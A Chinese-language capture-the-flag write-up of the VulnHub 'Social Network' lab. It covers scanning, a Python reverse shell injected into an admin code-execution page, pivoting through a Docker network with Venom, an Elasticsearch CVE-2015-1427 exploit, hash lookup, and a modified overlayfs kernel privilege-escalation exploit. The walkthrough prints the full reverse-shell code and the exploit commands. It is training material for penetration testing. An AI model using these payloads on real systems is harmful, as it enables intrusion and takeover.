一起来打靶 01
0x00 靶机介绍
靶机地址:BoredHackerBlog: Social Network ~ VulnHub
靶机难度:中
推荐虚拟机:VirtualBox
0x01 内容简介
- 涉及的攻击方法
- 主机发现
- 端口扫描
- 服务发现
- 路径爬取
- 代码注入
- Shell脚本
- 内网信息收集
- 内网穿透
- 漏洞利用
- 密码破解
- 本地提权
- 攻击代码修改
0x02 环境搭建
下载好靶机.ova
文件后导入到VirtualBox中即可
确保靶机和kali在同一网段中
kali IP地址:10.0.2.5
0x03 主机发现
因为靶机和kali在同一网段中,所以优先选择二层的主机发现技术
执行命令:sudo arp-scan -l
共扫描到4个IP地址,其中前三个IP是VirtualBox正常运行所需要使用到的IP,所以只有最后一个IP地址:10.0.2.15
是靶机的IP
拿到靶机的IP:10.0.2.15 后接下来进行全端口的扫描,探测靶机上都开启了哪些端口,哪些服务
执行命令:sudo nmap -p- 10.0.2.15
从扫描的结果中得出靶机开启了两个端口,接下来对这两个端口进行服务版本的探测
执行命令:sudo nmap -p22,5000 -sV 10.0.2.15
从扫描结果中可以得出
-
22
端口运行着OpenSSH
服务,并且靶机应该是Ubuntu
操作系统 -
5000
端口运行着httpd
服务,通过Werkzeug
关键词搜索得知这是基于python
进行web
开发的底层框架;这也就意味着服务器端运行的编程语言环境是python2.7
,那么后期发现有代码执行漏洞的话就可以使用python
脚本来反弹shell
,从而获取控制权等
既然运行的是web应用,那就打开浏览器访问网站,看看有没有默认页面,如果有默认页面再看看有没有注入的点
可以看出来这是一个社交网站,通过简单的安全性探测发现默认页面并没有明显的已知漏洞,也并不存在跨站脚本漏洞,没有什么收获
在对web应用渗透时,必做的一个常规操作是:web应用程序路径发现,看看那些隐藏的页面隐藏的路径中是否包含函数的提交点或者其他漏洞
web应用路径的爬取工具有很多,比如windows
平台的御剑
,本次在kali上使用dirsearch
这个工具
通过爬取web应用路径,很有可能会发现后台地址,那么就可以对后台发起攻击,进而极大概率上可以帮助我们找到目标系统的突破点
执行命令:dirsearch -u http://10.0.2.15:5000/
扫描完成,发现了一个路径,用浏览器访问一下:http://10.0.2.15:5000/admin
访问发现这是一个代码执行的页面,结合上面收集到的信息得知服务端运行的是python2.7
编程语言环境,所以可以尝试向页面表单中注入python
代码来反弹shell
0x04 python反弹shell
使用搜索引擎搜索python反弹shell
可以找到很多内容,比方说:python反弹shell_反弹Shell小结_何普的博客-CSDN博客
# 红框部分大概意思是:创建一个可交互的sh和一个到192.168.118.128的TCP连接,然后将sh的输入输出错误都重定向到在192.168.118.128占用5555端口的进程上
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); # 创建套接字;AF_INET(TCP/IP – IPv4);SOCK_STREAM(TCP流)
s.connect(("192.168.118.128",5555)); # 要连接的ip地址和端口
os.dup2(s.fileno(),0); # os.dup2()方法用于将一个文件描述符 fd 复制到另一个 fd2
os.dup2(s.fileno(),1); # fileno()方法返回一个整型的文件描述符(file descriptor FD 整型),可用于底层操作系统的 I/O 操作
os.dup2(s.fileno(),2); # 使用fileno()返回一个整型的文件描述符,并使用os.dup2(s.fileno(),0)把这个整型的文件描述符复制到后面的0三个dup2函数先后将socket重定向到标准输入,标准输入,标准错误输出。
p=subprocess.call(["/bin/sh","-i"]); # subprocess.call()执行由参数提供的命令,返回命令的状态,0或者非0
# 可以是["/bin/bash","-i"]或["/bin/sh","-i"]
参考如下
- 简单理解socket(socket.AF_INET,socket.SOCK_STRE,os.dup2(s.fileno(),0),subprocess.call([“/bin/bash“,“-i“])
- Python执行外部命令(subprocess,call,Popen)_宁愿失败,也不要犹豫的技术博客_51CTO博客
查看kali自己的IP
执行命令:ip a
使用nc
启动侦听
执行命令:nc -nvlp 4444
然后在web页面上执行python
反弹shell代码,这里只有["/bin/sh","-i"]
可以成功运行,注意将ip改为kali的ip地址,端口改成nc
侦听的端口
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.2.5",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
点击页面按钮Test code
之后,nc
监听这边有了反应,获得了一个反弹的shell
简单的执行一下命令,查看当前路径和账户权限
很幸运,拿到了root
权限,但真的如此吗?
0x05 判断是否在docker容器里
Dockerfile 是一个用来构建镜像的文本文件,文本内容包含了一条条构建镜像所需的指令和说明。
Dockerfile 通常会作为在生产环境下标准化部署Docker容器,部署开发环境时所使用的模板文件,这个模板文件中会包含一系列的怎么样去引入docker映像、怎么样对doker映像进行配置、安装哪些软件包、修改哪些服务项等等;作为研发人员就可以将模板文件分发给应用的部署人员,从而可以在生产环境的服务器上统一的、标准化的、保持一致性的大批量部署docker容器。总而言之,Dockerfile就是标准化部署的模板文件。
使用ls
命令时看到了Dockerfile
文件,是否意味着取得的root
权限的操作系统其实是一个docker
容器中的系统
查看一下Dockerfile
文件内容
执行命令:cat Dockerfile
#docker build -t socnet .
#docker run -td --rm -p 8080:8080 socnet
FROM python:2.7-alpine # FROM:从docker hub上或者本地存储库中拉取镜像作为基本镜像,基础镜像选用alpine比较合适,这个镜像不到5M
COPY . /app # COPY:拷贝文件或目录到容器中,跟ADD类似,但不具备自动下载或解压的功能
WORKDIR /app # WORKDIR:切换当前执行的工作目录
RUN pip install -r requirements.txt # RUN:将在当前映像之上的新层中执行任何命令并提交结果。生成的提交映像将用于下一步Dockerfile
CMD ["python", "/app/main.py"] # CMD:容器启动的命令,如果有多个则以最后一个为准,也可以为ENTRYPOINT提供参数
参考:Dockerfile的入坑路_Peithon的博客-CSDN博客_dockerfile run
可以看到这个Dockerfile
文件内容是标准的dockerfile模板文件,查看完这个文件之后就更加深这是一个docker
系统的怀疑
实锤这就是一个docker容器的两中方法(命令)
-
方法一(90%):查看系统根目录下是否存在
.dockerenv
文件,执行命令:ls /.dockerenv
-
方法二(100%):查看
/proc/1/cgroup
文件,执行命令:cat /proc/1/cgroup
如果出现类似下面的内容的话就可以100%确定这是一个
docker
容器系统,而且docker
容器的哈希值就放在后面原因:Linux系统启动后,1这个pid就代表这个计算机系统的初始化id,当初始化pid的cgroup文件中明确包含docker映像指示信息就100%证明当前系统是一个docker容器
这就实锤了拿到的root账号权限是在docker容器中
0x06 内网主机发现
查看当前docker容器系统的ip地址
执行命令:ip a
得到ip地址:172.17.0.2
,不同于之前发起攻击的靶机ip:10.0.2.15
,进一步证实了这是一个docker
容器系统,因为它们的ip都不一样
现在就可以将docker容器所处的网段视为内网网段,下一步的常见思路就是,在内网中进行主机发现,看看内网里还有没有其他的主机?如果有其他的主机是否存在已知的漏洞呢?是否可以利用这些漏洞攻击更多的内网系统呢?
在内网进行主机发现,靶机上没有kali中的众多工具,使用ping
命令较为合适,子网掩码是16位,理论上有65535个IP地址,手工一个一个ping不太现实,需要借助自动化的工具,比较简单的方法就是写一个脚本使用循环对指定的内网内网段ping
# 扫描172.17.1.1 - 172.17.254.254并提取有回包的ip
for i in $(seq 1 254);do for j in $(seq 1 254);do ping -c 1 172.17.$i.$j | grep "ttl";done;done
由于这里打的靶机就不扫那么多了
执行命令:for i in $(seq 1 10);do ping -c 1 172.17.0.$i | grep "ttl";done
一番扫描之后除去172.17.0.2
是本机外,共扫出2个存活的IP地址,接下来就需要对172.17.0.1
和172.17.0.3
进行端口扫描,看看它们上面开启了什么服务、有没有漏洞、是否可以渗透进去
0x07 内网穿透
由于172.17处于内网网段,kali无法直接访问到,要解决这个问题需要借助内网穿透技术,将kali到172.17内网之间的网络路由打通
利用venom这个工具可以很方便的在kali与内网之间建立一条隧道,然后基于这个隧道生成一个代理,使kali中的众多工具可以通过这个代理访问到目标靶机的内网
venom
工具gitHub地址:GitHub - Dliv3/Venom: Venom - A Multi-hop Proxy for Penetration Testers
首先下载venom
压缩包到kali中,并解压
查看目标系统的版本
执行命令:uname -a
得到目标系统是Linux 64
位,选择venom
中agent_linux_x64
这个程序
将agent_linux_x64
这个客户端传输到目标系统上,在本机上运行对应的服务端admin_linux_x64
kali本机运行admin_linux_x64
,侦听9999
端口
执行命令:./admin_linux_x64 -lport 9999
目标系统需要先获取venom
客户端,然后运行客户端连接到服务端,从而建立一条隧道
在kali上启动http服务,然后在目标系统上通过wget
命令来获取agent_linux_x64
客户端程序
在kali上启动http服务,执行命令:python3 -m http.server 80
目标系统使用wget
获取客户端程序
执行命令:wget http://10.0.2.5/agent_linux_x64
赋予可执行权限
执行命令:chmod +x agent_linux_x64
启动客户端程序,连接服务端,建立连接
执行命令:./agent_linux_x64 -rhost 10.0.2.5 -rport 9999
服务端启动socks
侦听
这样就在kali上启动了侦听在1080
端口的socks5
代理
为了让kali上的所有工具都可以挂代理访问内网,还需要使用proxychains
这个工具
修改proxychains
的配置文件,配置代理类型、IP、端口
执行命令:sudo vim /etc/proxychains4.conf
0x08 内网端口扫描
使用namp对内网IP:172.17.0.1
和172.17.0.3
进行端口扫描
执行命令:proxychains nmap -Pn -sT 172.17.0.1
扫描结果显示开放了,22和5000两个端口,再对22和5000的服务版本扫描一下
执行命令:proxychains nmap -p22,5000 -Pn -sT -sV 172.17.0.1
这个扫描结果似曾相识,和扫描10.0.2.15这个的结果一摸一样
通过浏览器访问一下172.17.0.1的5000端口kali
为方便切换代理,可在火狐浏览器中安装FoxyProxy Standard
扩展,扩展地址:FoxyProxy Standard 下载
FoxyProxy Standard扩展添加socks5代理
浏览器使用代理
访问内网172.17.0.1:5000
显示的内容和之前访问http://10.0.2.15:5000所显示的内容完全一样,甚至手动测试的数据也可以看到,说明172.17.0.1就是10.0.2.15这台宿主机,只是172.17.0.1是面向容器内网的IP,所以172.17.0.1就是要攻击的目标靶机
接下来继续对172.17.0.3进行端口扫描
执行命令:proxychains nmap -Pn -sT 172.17.0.3
扫描结果显示只开放了9200端口,再对这个端口上跑的服务扫描一下
执行命令:proxychains nmap -p9200 -Pn -sT -sV 172.17.0.3
从扫描结果中得出9200上跑的是Elasticsearch,版本是1.4.2
0x09 Elasticsearch RCE
Elasticsearch在历史版本中曾经出现过几次非常严重的漏洞,最严重的都是一些RCE远程代码执行漏洞
使用searchsploit
搜索kali是否有包含Elasticsearch已知漏洞利用代码
执行命令:searchsploit Elasticsearch
搜索结果中的前两个是远程代码执行漏洞,可以优先把这两个漏洞利用代码复制过来,挨个尝试,看看能否攻入Elasticsearch服务器
首先尝试36337.py这个漏洞利用代码,将其复制到当前目录下
执行命令:cp /usr/share/exploitdb/exploits/linux/remote/36337.py .
可以简单查看一下这个python脚本,看看如何利用漏洞的
可以看到这个脚本是用python2来编写的
运行这个脚本,执行代码:python2 36337.py
通过提示得到后面要加上目标的IP
再次执行命令:proxychains python2 36337.py 172.17.0.3
很快就得到了结果,尝试输入id
命令,查看获取到的账号权限
执行命令:id
发现脚本报错退出了运行,不得不寻找问题,解决报错,从提示信息中可以得出这个漏洞的编号是CVE-2015-1427
使用搜索引擎搜索CVE-2015-1427,看看是如何利用的,参考链接:CVE-2015-1427(Groovy 沙盒绕过 && 代码执行漏洞) - 浅笑996 - 博客园 (cnblogs.com)
漏洞的利用步骤是
- 插入数据
- 利用刚刚插入的数据构造Payload
现在再次来看看kali中复制过来的漏洞利用代码
执行命令:vim 36337.py
对比参考链接中的payload和python脚本中的payload,可以发现大多数内容都是一样的,唯一不同的是参考链接中利用的Payload中的键test#
是提前插入进Elasticsearch中,而python脚本中的Payload中的键lupin
并没有事先插入进Elasticsearch中,那么将lupin
插入到Elasticsearch后这个python脚本是否就可以正常运行了呢?值得尝试一下
使用burpsuite
,挂上socks5代理,向Elasticsearch发起post请求,插入数据lupin
首先打开burpsuite
查看burpsuite
代理端口
配置burpsuite
使用socks代理
配置浏览器使用burpsuite
代理
使用浏览器访问http://172.17.0.3:9200
将burpsuite
抓到的请求数据包发送到Repeater
模块
修改HTTP数据包内容为插入lupin
格式,点击发送
创建成功后,重新尝试执行命令:proxychains python2 36337.py 172.17.0.3
id
命令执行成功!又拿到了一个root
账号,但这仅仅是个容器系统的root权限
执行命令:cat /proc/1/cgroup
0x0a 内核漏洞提权
在这个容器系统中进行信息收集,经过一番查找,在根目录发现了一个文件名为passwords
的文件
执行命令:ls /
这里面是否包含比较机密的密码呢?出于好奇
执行命令:cat /passwords
发现这的确是一个账号密码文件,前面是账号,后面是密码的hash值
通过网上的md5密文查询网站中,查询到了全部密文对应的明文。查询链接:MD5免费在线解密破解_MD5在线加密-SOMD5
账号 | 密码(密文) | 密码(明文) |
---|---|---|
john | 3f8184a7343664553fcb5337a3138814 | 1337hack |
test | 861f194e9d6118f3d942a72be3e51749 | 1234test |
admin | 670c3bbc209a18dde5446e5e6c1f1d5b | 1111pass |
root | b3d34352fc26117979deabdf1b9b6354 | 1234pass |
jane | 5c158b60ed97c723b673529b8a3cf72b | 1234jane |
拿着这些账号密码,可以尝试登录开放了22端口的IP地址,首当其冲10.0.2.15
一番尝试之后,惊喜的发现账号john
竟然可以成功登录到10.0.2.15
,遗憾的是其余的都不行
执行命令:ssh john@10.0.2.15
成功登录至目标靶机
账号john
目前是唯一可以利用的账号,看看这个账号是否可以把自己提升为root
,如果可以,本次打靶就大功告成了
执行命令:sudo -s
很不幸并不可以,并没有sudo
的权限
若还想要获取root权限的话无外乎就是进行本地提权
本地提权的方法有很多,但是最主要的方法是利用内核漏洞来进行提权
查看系统内核,执行命令:uname -a
可以看到目标系统使用的内核版本是3.13,非常古老的版本,对于这么古老的版本一般都会存在内核漏洞
再次利用searchsploit
搜索关于linux 3.13
漏洞利用代码
执行命令:searchsploit linux 3.13
搜索到了很多的结果,随便挑选一个本地提权的漏洞利用代码
在真实的渗透场景下,真实的项目过程中,这个环节也是可能会发现很多的漏洞利用的版本,我们需要挨个在目标系统上尝试
比如说使用37292.c
这个漏洞利用版本,先拷贝到当前目录
执行命令:cp /usr/share/exploitdb/exploits/linux/local/37292.c .
查看这个文件的代码
执行命令:vim 37292.c
通过查看说明部分,发现这是一个C语言源代码文件,运行之前需要使用gcc
先编译
然而在目标系统上执行命令:gcc
结果显示目标系统上并没有安装gcc,所以需要先在kali上先编译好,然后再传输到目标靶机上运行
在目标靶机上运行任何漏洞利用代码之前都强烈建议能够先阅读一下即将执行的漏洞利用代码
再次查看源码,执行命令:vim 37292.c
通过查看源码发现
- 在第
139-147
行,通过C代码再次执行了gcc
命令,将ofs-lib.c
编译为ofs-lib.so
文件,所以即便在kali上事先编译好了,但是当在目标系统上运行的时候由于目标系统上并没有安装gcc
还是会报错;解决的方法有很多,比较简单直接的方法是修改源码内容,将编译部分删除,然后在kali中寻找有没有现成的ofs-lib.so文件
- 第
148
行,读取了/tmp/ofs-lib.so
文件,所以在目标系统上执行的时候,需要将ofs-lib.so
文件放到tmp
目录下才可以成功读取到这个文件
修改源码文件,删除原先的第139-147
行,修改后的内容如下
编译修改后的C源码
执行命令:gcc -o exp 37292.c
编译过程报了一些警告无伤大雅,不会影响最终执行结果
查找kali中是否有ofs-lib.so
文件
执行命令:locate ofs-lib.so
结果发现还真的有,复制到当前目录下
执行命令:cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so .
在kali上启动HTTP服务,在目标靶机通过wget
命令下载这两个文件
启动HTTP服务,执行命令:python3 -m http.server 80
目标靶机下载这两个文件
执行命令:
-
wget http://10.0.2.5/exp
-
wget http://10.0.2.5/ofs-lib.so
为确保成功运行,需要将ofs-lib.so
移动到/tmp
目录下,索性直接将两个文件都移到/tmp
目录下
执行命令:mv * /tmp
赋予exp
可执行权限
执行命令:chmod +x exp
执行exp
程序,提升权限
执行命令:./exp
可喜可贺,成功提升到了root权限,本次打靶圆满完成!
0x0b 总结
-
打靶过程文字概述
- 先进行主机发现,然后对已发现的主机进行了端口扫描以及服务的扫描
- 扫描结束之后发现在目标靶机上
5000
端口跑了一个web应用,尝试使用浏览器访问这个web应用 - 在web应用默认页面下没有收获任何的已知漏洞,接下来使用
dirsearch
命令对web应用路径进行探测 - 发现了一个
/admin
后台的路径,在这个后台页面存在远程代码执行漏洞,利用这个漏洞获取到了一个目标系统的反弹shell - 但是获取到这个shell之后,发现自己被困在一个docker容器的系统当中,基于这个容器系统对于内网的IP地址段进行主机发现
- 在内网主机发现的过程中,识别出了两个IP地址:
172.17.0.1
和172.17.0.3
- 随即建立了内网穿透隧道,开启了
socks
代理,对内网已探测到存活的主机进行全端口以及服务的扫描 - 在扫描的过程中发现在
172.17.0.3
开启了9200
端口,对应跑的应用程序是Elasticsearch
- 尝试对
Elasticsearch
进行已有漏洞的利用攻击,成功的拿下172.17.0.3
这台主机 - 在这台主机中继续进行信息收集,发现了在根目录下有一个名为
passwords
文件 - 在文件内容中收获到了
john
账号以及密码的hash值,通过在线的密码破解工具,查询到了对应的明文密码 - 拿到账号密码之后尝试在内网所有开启了22端口的主机上进行登录,最终结果是成功登录到了靶机系统上
- 但是登录成功后又遇到了一个难题,账号
john
只是一个普通账号,没有sudo
权限 - 不得不进行提权操作,通过
uname -a
发现目标系统内核是很古老的版本,挑选了一个针对内核漏洞进行利用的代码 - 但是这个漏洞利用代码无法在目标系统上进行
gcc
的编译,所以在kali上修改了源代码,删除了其中调用gcc
编译的部分代码之后进行编译,并在kali找到了所依赖的二进制库文件 - 将这两个文件一起传输到目标系统上,通过在目标系统上执行编译好的程序,最终拿到了
root
权限
-
打靶过程对应的视频链接:点击查看